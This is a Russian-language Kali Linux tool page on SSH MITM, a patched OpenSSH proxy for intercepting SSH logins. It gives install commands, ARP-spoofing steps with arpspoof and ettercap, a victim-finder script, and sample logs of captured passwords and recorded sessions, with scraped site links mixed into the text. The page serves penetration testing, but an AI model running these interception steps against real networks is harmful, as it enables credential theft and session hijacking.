Ssh mitm kali linux

Инструменты Kali Linux

Список инструментов для тестирования на проникновение и их описание

SSH MITM

Описание SSH MITM

SSH MITM — это инструмент тестера на проникновения, который позволяет аудитору перехватывать SSH подключения. В качестве основы инструмента взят исходный код OpenSSH v7.5p1, который пропатчен особым образом, что превращает его в прокси между жертвой и SSH сервером, к которому она пытается подключиться; все пароли, передаваемые в виде простого текста и сессии перехватываются и сохраняются на диск атакующего.

Безусловно, SSH клиент жертвы будет жаловаться, что изменился ключ сервера. Но поскольку в 99.99999% случаев это вызвано легитимными действиями (переустановка ОС, изменения конфигурации и т. д.), многие/большинство пользователей пренебрегают этим предупреждением и продолжают.

Примечание: модифицированный sshd_mitm рекомендуется запускать только в контейнере виртуальной машины! Изменения, сделанные в OpenSSH, затрагивают критические области кода без оглядки на безопасность. Не трудно представить, что эти изменения открыли серьёзные уязвимости.

Справка по SSH MITM

У программы нет опций, для запуска и остановки атаки используются файлы start.sh и stop.sh.

Скрипт JoesAwesomeSSHMITMVictimFinder.py используется для поиска целей перед атакой. То есть этот скрипт ищет компьютеры с SSH подключениями.

Справка по JoesAwesomeSSHMITMVictimFinder.py

JoesAwesomeSSHMITMVictimFinder.py [-h] --interface ИНТЕРФЕЙС [--block-size РАЗМЕР_БЛОКА] [--listen-time ВРЕМЯ_ПРОСЛУШИВАНИЯ] [--ignore-ips IP_ДЛЯ_ИГНОРИРОВАНИЯ [IP_ДЛЯ_ИГНОРИРОВАНИЯ . ]] [--one-pass] [-v] [-d]
необязательные аргументы: -h, --help show this help message and exit --block-size РАЗМЕР_БЛОКА количество IP адресов для ARP спуфинга за один раз (по умолчанию: 5) --listen-time ВРЕМЯ_ПРОСЛУШИВАНИЯ время в секундах для прослушивания SSH активности (по умолчанию: 20) --ignore-ips IP_ДЛЯ_ИГНОРИРОВАНИЯ [IP_ДЛЯ_ИГНОРИРОВАНИЯ . ] IP адреса для игнорирования. Списки можно разделять пробелами или запятыми --one-pass вместо выполнения операции операции по кругу, выполнить только один проход -v, --verbose включить вербальные сообщения -d, --debug включить сообщения отладки обязательные аргументы: --interface ИНТЕРФЕЙС сетевой интерфейс для прослушивания

Руководство по SSH MITM

Для разработчиков

В файле lol.h имеются два объявления переменных: DEBUG_HOST и DEBUG_PORT. Включите их и установите имя хоста на тестовый сервер. Теперь вы сможете подключаться к sshd_mitm напрямую без использования ARP спуфинга — это позволит вам протестировать ваши изменения.

ssh -p 2222 действительный_пользователь_на_хосте_для_отладки@localhost

Для тестирования изменений в исходном коде OpenSSH, используйте скрипт dev/redeploy.sh.

Читайте также:  Системный вызов fork linux

Для просмотра различчий (diff) не отправленных в репозиторий изменений (то есть ваших изменений) используйте скрипт dev/make_diff_of_uncommitted_changes.sh.

Для регенерации полного патча к исходному коду OpenSSH, используйте скрипт dev/regenerate_patch.sh.

Примеры запуска SSH MITM

Поиск целей

Скрипт JoesAwesomeSSHMITMVictimFinder.py делает поиск целей в локальной сети очень простым. Он выполняет атаку ARP спуфинг блоков IP на короткое время и сниффит трафик в поисках SSH подключений. IP адреса атакуются не одновременно, а небольшими блоками на короткое время — все блоки обрабатываются последовательно, когда скрипт доходит до последнего, то всё начинается сначала. Он сообщит о всех исходящих SSH подключениях исходящих от устройств в локальной сети.

По умолчанию JoesAwesomeSSHMITMVictimFinder.py будет выполнять ARP спуфинг и снифить только по 5 IP адресов за раз в течение 20 секунд перед тем, как перейти к следующему блоку из 5 адресов. Эти параметры можно настроить исходя из следующего компромисса: чем больше IP спуфится (атакуется) за раз, тем выше шанс, что вы поймаете исходящее SSH соединение, но также повышается нагрузка и на ваш сетевой интерфейс, который у домашних компьютеров редка предназначен для такой интенсивной работы. Под слишком большой нагрузкой ваш интерфейс начнёт отбрасывать фреймы, что будет приводить к отказу-в-обслуживании (проблемам в работе сети) и сильно повысит подозрительность (а это плохо). Это значение по умолчанию в большинстве случаев не должно приводить к проблемам, хотя это приведёт к более долгому поиску целей. Для сетей с низкой нагрузкой размер блока можно безопасно увеличить:

Запуска скрипта для обнаружения целей (устройств, с которых выполнено SSH подключение):

./JoesAwesomeSSHMITMVictimFinder.py --interface enp0s3 --ignore-ips 10.11.12.50,10.11.12.53
Found local address 10.11.12.141 and adding to ignore list. Using network CIDR 10.11.12.141/24. Found default gateway: 10.11.12.1 IP blocks of size 5 will be spoofed for 20 seconds each. The following IPs will be skipped: 10.11.12.50 10.11.12.53 10.11.12.141 Local clients: * 10.11.12.70 -> 174.129.77.155:22 * 10.11.12.43 -> 10.11.99.2:22

Приведённый выше вывод показывает, что два устройства в локальной сети создали SSH подключения (10.11.12.43 и 10.11.12.70); они могут стать целями для атаки человек-посередине. Тем не менее помните, чтобы потенциально перехватить учётные данные, вам нужно ждать, когда они инициируют новые подключения. Нетерпеливые пентестеры могут опционально в принудительном порядке закрыть существующие SSH сессии (используя инструмент tcpkill), чтобы клиентам немедленно было предложено создать новые…

Читайте также:  Run files in linux terminal

Запуск атаки

1. После того, как вы завершили начальную установку и нашли список потенциальных жертв (смотрите выше), нужно выполнить от root скрипт start.sh:

Этот скрипт запустит sshd_mitm, включит IP forwarding и настроит перехват SSH пакетов через iptables.

2. Запустите ARP спуфинг цели(целей).

Совет от профессионалов: НЕ надо спуфить всё! Ваш домашний сетевой интерфейс вряд ли способен одновременно обрабатывать трафик всей локальной сети. Выполняйте атаку спуфинга с помощью arpspoof в отношении парочки IP за раз:

arpspoof -r -t 192.168.x.1 192.168.x.5

В качестве альтернативы вы можете использовать инструмент ettercap:

ettercap -i enp0s3 -T -M arp /192.168.x.1// /192.168.x.5,192.168.x.6//

3. Мониторьте содержимое auth.log. Перехваченные пароли появятся там:

sudo tail -f /var/log/auth.log

4. После установки сессии, полный лог ввода и вывода можно найти в /home/ssh-mitm/. SSH сессии записываются как shell_session_*.txt, а SFTP сессии записываются как sftp_session_*.html (с переданными файлами, сохраняющимися в соответствующей директории).

В случае успеха, файл /var/log/auth.log будет иметь следующие строки, в которых записан пароль:

Sep 11 19:28:14 showmeyourmoves sshd_mitm[16798]: INTERCEPTED PASSWORD: hostname: [10.199.30.x]; username: [jdog]; password: [supercalifragilistic] [preauth]

Далее SSH сессия жертвы записывается в полном объёме:

cat /home/ssh-mitm/shell_session_0.txt
Hostname: 10.199.30.x Username: jdog Password: supercalifragilistic ------------------------- Last login: Thu Aug 31 17:42:38 2017 OpenBSD 6.1 (GENERIC.MP) #21: Wed Aug 30 08:21:38 CEST 2017 Welcome to OpenBSD: The proactively secure Unix-like operating system. Please use the sendbug(1) utility to report bugs in the system. Before reporting a bug, please try to reproduce it with the latest version of the code. With bug reports, please try to ensure that enough information to reproduce the problem is enclosed, and if a known fix for it exists, include that as well. jdog@jefferson ~ $ ppss PID TT STAT TIME COMMAND 59264 p0 Ss 0:00.02 -bash (bash) 52132 p0 R+p 0:00.00 ps jdog@jefferson ~ $ iidd uid=1000(jdog) gid=1000(jdog) groups=1000(jdog), 0(wheel) jdog@jefferson ~ $ sssshh jjtteessttaa@@mmaaggiiccbbooxx jtesta@magicbox's password: ROFLC0PTER!!1juan

Помните, что символы в командах пользователя должны появляться дважды в файле, поскольку записывается ввод от пользователя, а также записывается вывод от оболочки (который повторяет (echo) символы). Обратите внимание, что когда программы вроде sudo и ssh временно отключают повтор введённого пользователем для чтения пароля, дублирующие символы не попадают в журнал.

Читайте также:  Архитектура ос linux кратко

Вся SFTP активность также захватывается. Используйте браузер для просмотра sftp_session_0.html. Этот файл записывает все команды со ссылками на выгружанные и загруженные файлы:

cat /home/ssh-mitm/sftp_session_0.txt
Hostname: 10.199.30.x Username: jdog Password: supercalifragilistic ------------------------- > realpath "." (Result: /home/jdog) > realpath "/home/jdog/." (Result: /home/jdog) > ls /home/jdog drwxr-xr-x 4 jdog jdog 4096 Sep 11 16:12 . drwxr-xr-x 4 root root 4096 Sep 6 11:53 .. -rw-r--r-- 1 jdog jdog 3771 Aug 31 2015 .bashrc -rw-r--r-- 1 jdog jdog 220 Aug 31 2015 .bash_logout drwx------ 2 jdog jdog 4096 Sep 6 11:54 .cache -rw-r--r-- 1 jdog jdog 655 May 16 08:49 .profile drwx------ 2 jdog jdog 4096 Sep 8 16:59 .ssh -rw-rw-r-- 1 jdog jdog 5242880 Sep 8 15:52 file -rw-rw-r-- 1 jdog jdog 43131 Sep 10 10:47 file2 -rw-rw-r-- 1 jdog jdog 83 Sep 6 12:56 file3 -rw-rw-r-- 1 jdog jdog 3048960 Sep 11 13:51 file4 > realpath "/home/jdog/file5" (Result: /home/jdog/file5) > put /home/jdog/file5 > realpath "/home/jdog/file5" (Result: /home/jdog/file5) > stat "/home/jdog/file5" (Result: flags: 15; size: 854072; uid: 1001; gid: 1001; perm: 0100664, atime: 1505172831, mtime: 1505172831) > setstat "/home/jdog/file5" (Result: flags: 4; size: 0; uid: 0; gid: 0; perm: 0100700, atime: 0, mtime: 0)

Установка SSH MITM

Установка в Kali Linux

sudo apt install python3-netaddr python3-netifaces git clone https://github.com/jtesta/ssh-mitm cd ssh-mitm/ export LANG=en_US.utf-8 sudo ./install.sh

Установка в BlackArch

Программа предустановлена в BlackArch.

Информация об установке в другие операционные системы будет добавлена позже.

Скриншоты SSH MITM

Инструкции по SSH MITM

Источник

Оцените статью
Adblock
detector